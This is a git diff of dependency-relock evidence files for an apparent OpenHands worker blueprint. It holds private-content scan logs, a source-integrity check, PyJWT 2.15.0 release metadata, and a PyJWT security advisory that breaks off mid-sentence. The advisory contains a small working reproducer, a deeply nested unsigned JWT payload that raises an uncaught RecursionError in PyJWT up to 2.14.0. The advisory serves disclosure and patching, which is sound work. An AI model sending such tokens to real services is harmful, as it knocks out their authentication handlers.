b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-owned-file-publication-scan-after-declared-paths-redaction.txt @@ -0,0 +1,10 @@ +argv: ["rtk", "proxy", "python3", "scripts/validate.py", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-actual-sdk-fixtures.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-advisory-GHSA-8988-9cw3-xx77.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-advisory-GHSA-gh4c-6fx4-qh6g.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-advisory-GHSA-vxq7-64xx-v4gw.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-ci-config.json", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-ci-config.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-empty-config.json", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-empty-config.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-build-hash-install.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-ci-config.json", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-ci-config.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-empty-config.json", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-empty-config.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-commands.json", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-constraints.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-dependency-comparison.json", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-exact-caller-source-review.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-exact-lock-delta.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-fresh-venv.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-frozen-inputs.json", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-hosted-failure-36737133691.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-installed-version-inventory.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-main-repair-pr546.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-maintained-jwt-callers.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-candidate-compile.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-control-compile.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-imports.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-pip-check.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-pristine-reproduction.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-oauthlib-alias-callers.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-download.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-release.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-source-help.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-version.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-owned-file-publication-scan.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pristine-source-verification.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-after-path-sanitization.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-before-integration.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-requirements.in.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-runtime-hash-install.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-source-cutoff-policy.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-hashes.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-sdk-release.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-source-download.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-source-extract.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-source-repro-extract.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-file-urllib3-2.8.0-py3-none-any.whl.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-file-urllib3-2.8.0.tar.gz.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-oauth-literal-sweep.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-published-source-identity.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-pypi.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-release.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-tag-object.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-tag.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-uv-compile-help.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-uv-release.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-uv-version.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930.json", "--scan-file", "/blueprints/runtime-workers/openhands/requirements.lock", "--scan-file", "/blueprints/runtime-workers/openhands/pins.json"] +cwd: +started_utc: 2026-09-30T16:06:05.060895+00:00 +ended_utc: 2026-09-30T16:06:05.337801+00:00 +exit_code: 0 + +stdout: +{"scanned_files": 60, "status": "passed"} + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-owned-file-publication-scan.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-owned-file-publication-scan.txt new file mode 100644 index 000000000..9e4de9559 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-owned-file-publication-scan.txt @@ -0,0 +1,12 @@ +argv: ["rtk", "proxy", "python3", "scripts/validate.py", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-actual-sdk-fixtures.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-advisory-GHSA-8988-9cw3-xx77.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-advisory-GHSA-gh4c-6fx4-qh6g.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-advisory-GHSA-vxq7-64xx-v4gw.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-ci-config.json", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-ci-config.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-empty-config.json", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-empty-config.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-build-hash-install.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-ci-config.json", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-ci-config.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-empty-config.json", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-empty-config.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-commands.json", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-constraints.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-dependency-comparison.json", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-exact-caller-source-review.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-exact-lock-delta.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-fresh-venv.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-frozen-inputs.json", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-hosted-failure-36737133691.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-installed-version-inventory.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-main-repair-pr546.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-maintained-jwt-callers.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-candidate-compile.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-control-compile.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-imports.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-pip-check.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-pristine-reproduction.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-oauthlib-alias-callers.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-download.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-release.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-source-help.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-version.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pristine-source-verification.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-after-path-sanitization.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-before-integration.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-requirements.in.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-runtime-hash-install.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-source-cutoff-policy.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-hashes.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-sdk-release.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-source-download.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-source-extract.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-source-repro-extract.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-file-urllib3-2.8.0-py3-none-any.whl.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-file-urllib3-2.8.0.tar.gz.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-oauth-literal-sweep.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-published-source-identity.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-pypi.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-release.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-tag-object.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-tag.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-uv-compile-help.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-uv-release.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-uv-version.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930.json", "--scan-file", "/blueprints/runtime-workers/openhands/requirements.lock", "--scan-file", "/blueprints/runtime-workers/openhands/pins.json"] +cwd: +started_utc: 2026-09-30T16:02:28.865484+00:00 +ended_utc: 2026-09-30T16:02:29.235877+00:00 +exit_code: 1 + +stdout: +Private-content scan failed: +/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-commands.json: contains possible personal home path +/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930.json: contains possible personal home path + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pristine-source-verification.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pristine-source-verification.txt new file mode 100644 index 000000000..1640cc1df --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pristine-source-verification.txt @@ -0,0 +1,21 @@ +argv: ["rtk", "proxy", "python3", "-c", "import tarfile,sys,json,hashlib\nfrom pathlib import Path\np=Path(sys.argv[1]);results=[]\nwith tarfile.open(p/'source.tar.gz','r:gz') as archive:\n for extraction in ['source','source-repro']:\n mismatches=[];compared=0\n for member in archive.getmembers():\n if member.isfile():\n expected=archive.extractfile(member).read();actual=(p/extraction/member.name).read_bytes();compared+=1\n if expected!=actual:mismatches.append(member.name)\n results.append({'extraction':extraction,'original_regular_files_compared':compared,'mismatches':mismatches})\nassert all(r['original_regular_files_compared']>0 and not r['mismatches'] for r in results)\nprint(json.dumps(results,indent=2))\n", ""] +cwd: +started_utc: 2026-09-30T15:49:28.477855+00:00 +ended_utc: 2026-09-30T15:49:28.884990+00:00 +exit_code: 0 + +stdout: +[ + { + "extraction": "source", + "original_regular_files_compared": 1800, + "mismatches": [] + }, + { + "extraction": "source-repro", + "original_regular_files_compared": 1800, + "mismatches": [] + } +] + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pyjwt-215-pypi.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pyjwt-215-pypi.txt new file mode 100644 index 000000000..bd2659e9b --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pyjwt-215-pypi.txt @@ -0,0 +1,10 @@ +argv: ["rtk", "proxy", "curl", "--fail", "--silent", "--show-error", "https://pypi.org/pypi/PyJWT/2.15.0/json"] +cwd: +started_utc: 2026-09-30T16:09:27.293810+00:00 +ended_utc: 2026-09-30T16:09:27.377298+00:00 +exit_code: 0 + +stdout: +{"info":{"author":null,"author_email":"Jose Padilla ","bugtrack_url":null,"classifiers":["Development Status :: 5 - Production/Stable","Intended Audience :: Developers","Natural Language :: English","Programming Language :: Python","Programming Language :: Python :: 3","Programming Language :: Python :: 3 :: Only","Programming Language :: Python :: 3.10","Programming Language :: Python :: 3.11","Programming Language :: Python :: 3.12","Programming Language :: Python :: 3.13","Programming Language :: Python :: 3.14","Programming Language :: Python :: 3.15","Programming Language :: Python :: 3.9","Topic :: Utilities"],"description":"PyJWT\n=====\n\n.. image:: https://github.com/jpadilla/pyjwt/workflows/CI/badge.svg\n :target: https://github.com/jpadilla/pyjwt/actions?query=workflow%3ACI\n\n.. image:: https://img.shields.io/pypi/v/pyjwt.svg\n :target: https://pypi.python.org/pypi/pyjwt\n\n.. image:: https://codecov.io/gh/jpadilla/pyjwt/branch/master/graph/badge.svg\n :target: https://codecov.io/gh/jpadilla/pyjwt\n\n.. image:: https://readthedocs.org/projects/pyjwt/badge/?version=stable\n :target: https://pyjwt.readthedocs.io/en/stable/\n\nA Python implementation of `RFC 7519 `_. Original implementation was written by `@progrium `_.\n\nSponsor\n-------\n\n.. |auth0-logo| image:: https://github.com/user-attachments/assets/\n :width: 160px\n\n+--------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\n| |auth0-logo| | If you want to quickly add secure token-based authentication to Python projects, feel free to check Auth0's Python SDK and free plan at `auth0.com/signup `_. |\n+--------------+-----------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\n\nInstalling\n----------\n\nInstall with **pip**:\n\n.. code-block:: console\n\n $ pip install PyJWT\n\n\nUsage\n-----\n\n.. code-block:: pycon\n\n >>> import jwt\n >>> encoded = jwt.encode({\"some\": \"payload\"}, \"secret\", algorithm=\"HS256\")\n >>> print(encoded)\n \n >>> jwt.decode(encoded, \"secret\", algorithms=[\"HS256\"])\n {'some': 'payload'}\n\nDocumentation\n-------------\n\nView the full docs online at https://pyjwt.readthedocs.io/en/stable/\n\n\nTests\n-----\n\nYou can run tests from the project root after cloning with:\n\n.. code-block:: console\n\n $ tox\n","description_content_type":"text/x-rst","docs_url":null,"download_url":null,"downloads":{"last_day":-1,"last_month":-1,"last_week":-1},"dynamic":["License-File"],"home_page":null,"keywords":"json, jwt, security, signing, token, web","license":null,"license_expression":"MIT","license_files":["LICENSE","AUTHORS.rst"],"maintainer":null,"maintainer_email":null,"name":"PyJWT","package_url":"https://pypi.org/project/PyJWT/","platform":null,"project_url":"https://pypi.org/project/PyJWT/","project_urls":{"Homepage":"https://github.com/jpadilla/pyjwt"},"provides_extra":["crypto"],"release_url":"https://pypi.org/project/PyJWT/2.15.0/","requires_dist":["typing_extensions>=4.0; python_version < \"3.11\"","cryptography>=3.4.0; extra == \"crypto\""],"requires_python":">=3.9","summary":"JSON Web Token implementation in Python","version":"2.15.0","yanked":false,"yanked_reason":null},"last_serial":41564282,"ownership":{"organization":null,"roles":[{"role":"Owner","user":"jpadilla"}]},"urls":[{"comment_text":null,"core-metadata":{"sha256":"bf975d075729abd3be20eda40d21d6b013cce62a4d8e1778d9e839c65195d543"},"digests":{"blake2b_256":"e85540e45bf052ee8ee12a4dfd785519660f8effa7b065442b91646ec6828619","md5":"fd5e9bf5fd48779809db07fec0de8bd8","sha256":"7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8"},"downloads":-1,"filename":"pyjwt-2.15.0-py3-none-any.whl","has_sig":false,"md5_digest":"fd5e9bf5fd48779809db07fec0de8bd8","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.9","size":33680,"upload_time":"2026-09-23T16:55:59","upload_time_iso_8601":"2026-09-23T16:55:59.241512Z","url":"https://files.pythonhosted.org/packages/e8/55/40e45bf052ee8ee12a4dfd785519660f8effa7b065442b91646ec6828619/pyjwt-2.15.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"02a55197bfd06417837ac079921c66fa6393f1dea3557272a263cebfef69e432","md5":"807136f794f3aff6ef44929a3fc1bdee","sha256":"b11c5f9791d7bf51c2b39a81ed669f6b2dbbd669df2942f6c60167e9e3d1abe4"},"downloads":-1,"filename":"pyjwt-2.15.0.tar.gz","has_sig":false,"md5_digest":"807136f794f3aff6ef44929a3fc1bdee","packagetype":"sdist","python_version":"source","requires_python":">=3.9","size":120513,"upload_time":"2026-09-23T16:56:00","upload_time_iso_8601":"2026-09-23T16:56:00.689307Z","url":"https://files.pythonhosted.org/packages/02/a5/5197bfd06417837ac079921c66fa6393f1dea3557272a263cebfef69e432/pyjwt-2.15.0.tar.gz","yanked":false,"yanked_reason":null}],"vulnerabilities":[]} + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pyjwt-advisory-official.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pyjwt-advisory-official.txt new file mode 100644 index 000000000..238a25e81 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pyjwt-advisory-official.txt @@ -0,0 +1,9 @@ +argv: ["rtk", "proxy", "gh", "api", "advisories/GHSA-42vr-xj54-vc7v"] +cwd: +started_utc: 2026-09-30T16:09:26.731281+00:00 +ended_utc: 2026-09-30T16:09:27.119982+00:00 +exit_code: 0 + +stdout: +{"ghsa_id":"GHSA-42vr-xj54-vc7v","cve_id":"CVE-2026-101918","url":"https://api.github.com/advisories/GHSA-42vr-xj54-vc7v","html_url":"https://github.com/advisories/GHSA-42vr-xj54-vc7v","summary":"PyJWT: Unauthenticated RecursionError DoS in pre-verification payload parse (PyJWKClient.get_signing_key_from_jwt / verify_signature=False)","description":"## Summary\n\n`PyJWKClient.get_signing_key_from_jwt(token)` — the first step of the JWKS\nverification flow documented in `docs/usage.rst` — must decode a token's\npayload before its signature can be checked, via\n`jwt.api_jwt.decode_complete(token, options={\"verify_signature\": False})`.\nThat call parses the payload with `json.loads` in `PyJWT._decode_payload`\n(`jwt/api_jwt.py:297-300`), whose `except` clause catches only `ValueError`.\nA payload that is valid JSON but nested ~20,000 levels deep makes\n`json.loads` raise `RecursionError`, which is **not** a `ValueError` and\nescapes as a raw, undocumented exception type — not `DecodeError`,\n`InvalidTokenError`, or `PyJWTError`, so every documented error-handling\npattern in `docs/usage.rst` misses it.\n\nThe token needs no valid signature and no network access — the crash\nhappens during payload parsing, before the `kid` is even looked up. A\nsingle unauthenticated ~50KB request crashes the caller's auth handler\n(HTTP 500 / dead worker), repeatably. The same path is reachable through\nplain `jwt.decode(token, options={\"verify_signature\": False})` too.\n\nNotably, this project already fixed the **identical** bug class for the\nJWS **header** path — `PyJWS._load` catches `(ValueError, RecursionError)`\nand wraps it in `DecodeError` (`jwt/api_jws.py:360-361`), and\n`CHANGELOG.rst` (v2.14.0, \"Security\") states \"Handle deeply nested and\nmalformed JWS/JWK input without uncaught recursion errors.\" The payload\npath — the one part of a forged token an unauthenticated attacker fully\ncontrols — was left catching `ValueError` alone, so that security fix does\nnot fully hold.\n\nA second, related instance: `PyJWKClient.fetch_data` (`jwt/jwks_client.py:168`)\nparses a JWKS endpoint's response with `json.load(response)` inside a\n`try` that only catches `(URLError, TimeoutError, http.client.HTTPException)`\n— a deeply-nested JSON response from a JWKS endpoint raises the same raw\n`RecursionError`, uncaught entirely (worse than the payload path, which at\nleast caught plain `ValueError`).\n\n**Affected versions:** confirmed present in the current release, 2.14.0,\nand on the current `master` branch (commit `4adcd02722f5011c60079d3978dfc167b9a8eaa5`).\n\n## Reproduction\n\n```python\nimport base64, json, jwt\n\ndef b64url(b):\n return base64.urlsafe_b64encode(b).rstrip(b\"=\")\n\nheader = b64url(json.dumps({\"alg\": \"HS256\", \"typ\": \"JWT\"}).encode())\npayload = b64url(b\"[\" * 20_000 + b\"]\" * 20_000)\ntoken = (header + b\".\" + payload + b\".\" + b64url(b\"forged-sig\")).decode()\n\njwt.decode(token, options={\"verify_signature\": False})\n# raises: RecursionError (not DecodeError/InvalidTokenError/PyJWTError)\n```\n\nControl: the same deeply-nested structure moved into the token's **header**\ninstead of its payload is correctly converted to `jwt.DecodeError` by the\nalready-hardened `jwt/api_jws.py:360` — confirming the payload path is\nspecifically the missed half of the v2.14.0 hardening, not a general gap.\n\n## Impact assessment\n\nUnauthenticated denial-of-service via unhandled exception on an auth path.\nNot an auth bypass — rated medium. With signature verification enabled,\nthis parse runs after `_verify_signature`, so only the pre-verification\npaths (`get_signing_key_from_jwt`, explicit `verify_signature=False`) are\nattacker-reachable pre-auth; the JWKS-endpoint variant requires control of\n(or a MITM on) the configured JWKS endpoint rather than being reachable\nfrom an arbitrary client token.\n\n## Suggested fix\n\nIn `jwt/api_jwt.py:299`, change `except ValueError as e:` to\n`except (ValueError, RecursionError) as e:`, mirroring\n`jwt/api_jws.py:360` exactly. In `jwt/jwks_client.py`, add the same\n`(ValueError, RecursionError)` handling around `json.load(response)` in\n`fetch_data`, raising `PyJWKClientError` (consistent with the method's\nexisting documented error contract). A patch implementing both, verified\nagainst the full test suite (457 passed, 4 skipped — pre-existing,\nenvironment-related) and against the reproduction above (now correctly\nraises `DecodeError`), is attached (`fix.patch`).\n\n## Discovery method\n\nFound and verified using `scopegrep` (https://github.com/not-ekalabya/scopegrep)\n— a semantic code-retrieval tool that surfaces every other call site of a\nsymbol alongside relevance-ranked results, which is what surfaced the\nalready-hardened header path as the direct comparison here — paired with\nan LLM coding agent (GLM-5.3) run as an open-ended security review of this\nrepository. Independently reproduced against the exact commit above before\nthis report was written. Happy to share the full session transcript on\nrequest.\n\n## Disclosure status\n\nNot shared with any other party or published. Submitting through this\nprivate channel per the project's stated security policy; no planned\npublic/conference disclosure ahead of a coordinated timeline.\n\n\n---\n\n## Maintainer triage update (2026-09-22)\n\n### Confirmed finding and scope\n\nWe confirmed that an attacker-controlled recursively nested JWT payload can cause a raw Python `RecursionError` to escape PyJWT at PyJWT 2.14.0 and the tested current source. The confirmed in-scope paths are direct decoding with `verify_signature=False` and `PyJWKClient.get_signing_key_from_jwt`, where payload parsing occurs before key lookup.\n\nThe demonstrated impact is limited to an uncaught exception for the affected call, which may surface as an application HTTP 500 when the application does not catch it. Testing did not demonstrate a worker or process crash, persistent resource exhaustion, resource amplification, authentication bypass, or confidentiality or integrity impact.\n\nThe separate JWKS-response subclaim is out of scope under the policy boundary that requires the application to trust its configured JWKS source and transport. The confirmed payload finding is not a duplicate of the earlier protected-header parser finding: it occurs in a distinct payload parsing path that remained affected after the earlier header-only fix.\n\n### Version and remediation status\n\nHistorical testing reproduced the confirmed payload behavior in all 20 official supported PyJWT 2.x releases from 2.0.0a1 through 2.14.0, inclusive. Unsupported PyJWT 1.7.1 also reproduces the behavior, but it is excluded from the advisory range under the supported-2.x policy. No supported unaffected release and no patched release exists. The exact evidence is `/.codex/security-advisories/pyjwt/GHSA-42vr-xj54-vc7v-historical-range-20260922.md` (SHA-256 `c48f1ac35641e9382d53e6a879a71ad9a8fb4432bbe871f2b8330f8d166a2d81`) and `/.codex/security-advisories/pyjwt/historical-range-42vr-20260922/historical-range-results.json` (SHA-256 `324997f231561bf6da39b8f9d1e272f69bfde8871a7863f5cb7b70e22e91f076`). The evidence-backed supported affected range is `>= 2.0.0a1, <= 2.14.0`.\n\nHistorical range verification is complete. A local fix commit exists and has passed independent review and the complete local CI suite, but it has not been merged into `master` or released. Consequently, `patched_versions` remains empty and this advisory remains in `triage`. The remaining next step is a maintainer decision on remediation and merge. After a fix lands in `master` and is released, `patched_versions` and advisory lifecycle can be updated in a separate approved batch.\n\n---\n\n## Maintainer remediation update (2026-09-23)\n\nThe confirmed payload-parser finding has been fixed on `master`. Commit\n`5fde08a6cf906aa7698de2d6391d88b73006b17b` converts a recursive\npayload parse failure to the expected `DecodeError`; commit\n`9bc06658f875b9b40091539140bbbdc4639161c3` makes the regression tests\ndeterministic across supported Python versions. This update supersedes the\n2026-09-22 remediation-status statement that the fix had not landed.\n\nThe original pre-verification payload reproducer and the\n`PyJWKClient.get_signing_key_from_jwt` path were covered by regression tests.\nThe exact landed tree passed the full 39-environment local tox matrix and\nGitHub CI for commit `9bc06658f875b9b40091539140bbbdc4639161c3` passed\nall 25 jobs, including Ubuntu Python 3.14 and 3.15. The demonstrated impact\nremains an uncaught request-level exception in affected releases; there is\nstill no evidence of process termination, persistent resource exhaustion,\nauthentication bypass, or confidentiality or integrity impact.\n\nThe supported affected range remains `>= 2.0.0a1, <= 2.14.0`. The latest\nreleased version is 2.14.0, which predates these commits; no released\npatched version exists yet, so `patched_versions` remains unset. CVSS v3.1\n5.3 (Medium) and CWE-248 remain unchanged. The advisory may now move from\ntriage to private draft. The next lifecycle step is a new supported 2.x\nrelease containing the fix, followed by separately approved patched-version\nand publication updates after release verification.\n\n---\n\n## Maintainer release update (2026-09-23)\n\nPyJWT 2.15.0 is the first released version containing the payload-parser fix. Its GitHub release tag points to commit `1d41a6478e1562e68ff667fcd703356acf085f68`, which includes fix commit `5fde08a6cf906aa7698de2d6391d88b73006b17b` and deterministic regression-test commit `9bc06658f875b9b40091539140bbbdc4639161c3`. PyPI published both the wheel and source distribution from that release commit through the successful production workflow at https://github.com/jpadilla/pyjwt/actions/runs/35891602963.\n\nThe published PyPI wheel (`pyjwt-2.15.0-py3-none-any.whl`, SHA-256 `7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8`) was checked directly: the deeply nested unsigned payload now raises `DecodeError`, while an ordinary unsigned payload still decodes. The supported affected range remains `>= 2.0.0a1, <= 2.14.0`; the patched version is `2.15.0`. Earlier statements in this advisory that no released patched version exists are superseded by this update.\n\nThe confirmed impact remains an uncaught request-level exception in affected versions, not a demonstrated process crash or authentication bypass. The separate JWKS-response subclaim remains outside this advisory's confirmed PyJWT-owned 